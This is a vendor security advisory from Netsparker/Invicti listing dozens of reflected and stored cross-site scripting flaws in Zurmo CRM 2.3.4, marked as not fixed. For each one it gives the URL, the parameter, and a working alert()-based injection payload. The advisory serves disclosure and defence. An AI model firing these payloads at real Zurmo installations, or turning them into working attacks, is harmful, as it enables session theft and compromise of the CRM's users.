Multiple Cross-site Scripting Vulnerabilities in Zurmo 2.3.4
Information
Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in Zurmo
Affected Software: Zurmo
Affected Versions: 2.3.4
Homepage: http://zurmo.org/
Vulnerability: Stored Cross-site Scripting, Reflected Cross-site Scripting
Severity: Critical
Status: Not Fixed
CVSS Score (3.0): AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-035
Technical Details
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/campaigns/default/create
Parameter Name: Campaign%5btextContent%5d
Parameter Type: POST
Attack Pattern: %3c%2ftextarea%3e%3cscRipt%3ealert(0x03D881)%3c%2fscRipt%3e
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/campaigns/default/create
Parameter Name: Campaign%5bhtmlContent%5d
Parameter Type: POST
Attack Pattern: %3c%2ftextarea%3e%3cscRipt%3ealert(0x03D8A9)%3c%2fscRipt%3e
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/emailTemplates/default/relationsAndAttributesTreeForMergeTags?id=9&nodeId=source&type=2&uniqueId=%22%3e%3ciMg%20src%3dN%20onerror%3dalert(9)%3e
Parameter Name: uniqueId
Parameter Type: GET
Attack Pattern: %22%3e%3ciMg+src%3dN+onerror%3dalert(9)%3e
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/tasks/default/modalCreate?modalId=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x003E14)%3C/scRipt%3E
Parameter Name: modalId
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003E14)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/?User_page=&User_sort=%3cscRipt%3ealert(0x00AE98)%3c%2fscRipt%3e&ajax=list-view&selectedIds=
Parameter Name: User_sort
Parameter Type: GET
Attack Pattern: %3cscRipt%3ealert(0x00AE98)%3c%2fscRipt%3e
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/workflows/default/inQueuesAutoComplete?formClassName=%3cscRipt%3ealert(0x0469DF)%3c%2fscRipt%3e&term=3
Parameter Name: formClassName
Parameter Type: GET
Attack Pattern: %3cscRipt%3ealert(0x0469DF)%3c%2fscRipt%3e
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/zurmo/default/validateDynamicSearch?viewClassName=UsersSearchView&modelClassName=%3cscRipt%3ealert(0x00BBB5)%3c%2fscRipt%3e&formModelClassName=UsersSearchForm
Parameter Name: modelClassName
Parameter Type: GET
Attack Pattern: %3cscRipt%3ealert(0x00BBB5)%3c%2fscRipt%3e
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/zurmo/default/validateDynamicSearch?viewClassName=%3cscRipt%3ealert(0x00BB76)%3c%2fscRipt%3e&modelClassName=User&formModelClassName=UsersSearchForm
Parameter Name: viewClassName
Parameter Type: GET
Attack Pattern: %3cscRipt%3ealert(0x00BB76)%3c%2fscRipt%3e
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/zurmo/group/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Group_group_id&modalTransferInformation%5BsourceNameFieldId%5D=Group_group_name&modalTransferInformation%5BmodalId%5D=%22%3E%3CscRipt%3Ealert(9)%3C/scRipt%3E&modalTransferInformation%5BsourceModelId%5D=-27
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "><scRipt>alert(9)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/copy?id=3
Parameter Name: Account%5bshippingAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x043839)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/copy?id=3
Parameter Name: Account%5bbillingAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x042B93)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0148B5)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bcountry%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x015536)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0138F7)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x015C06)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bcountry%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x019E07)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x018E2C)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x013319)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0140DF)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0168E7)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x016DBF)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x012BD8)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x017C1A)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01846B)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bcountry%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x016B69)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x017305)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01442F)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0196A6)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x013DED)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x016218)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01571B)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x015202)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01A06D)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01BCB4)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x020162)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01D27C)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x016F4D)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01B6B6)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x016A71)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x015E6B)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bcountry%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x019F29)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01934C)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01F270)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01E23A)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bcountry%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x020265)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x017EE7)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x02676C)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x027DED)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bcountry%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x028C77)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x028496)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0273E5)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0269A8)+
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/edit?id=3
Parameter Name: User%5bprimaryAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0279A4)+
Stored XSS
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/zurmo/group/modalList?modalTransferInformation[sourceIdFieldId]=Group_group_id&modalTransferInformation[sourceNameFieldId]=Group_group_name&modalTransferInformation[modalId]=modalContainer-edit-form&modalTransferInformation[sourceModelId]=/app/index.php/zurmo/group/modalList
Injection URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/zurmo/group/edit?id=24
Parameter Name: Group%5bname%5d
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x045B33)</scRipt>
For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).
Advisory Timeline
12th November 2018 – First Contact Attempt
2nd January 2019 – Advisory Released
Credits & Authors
These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.
About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.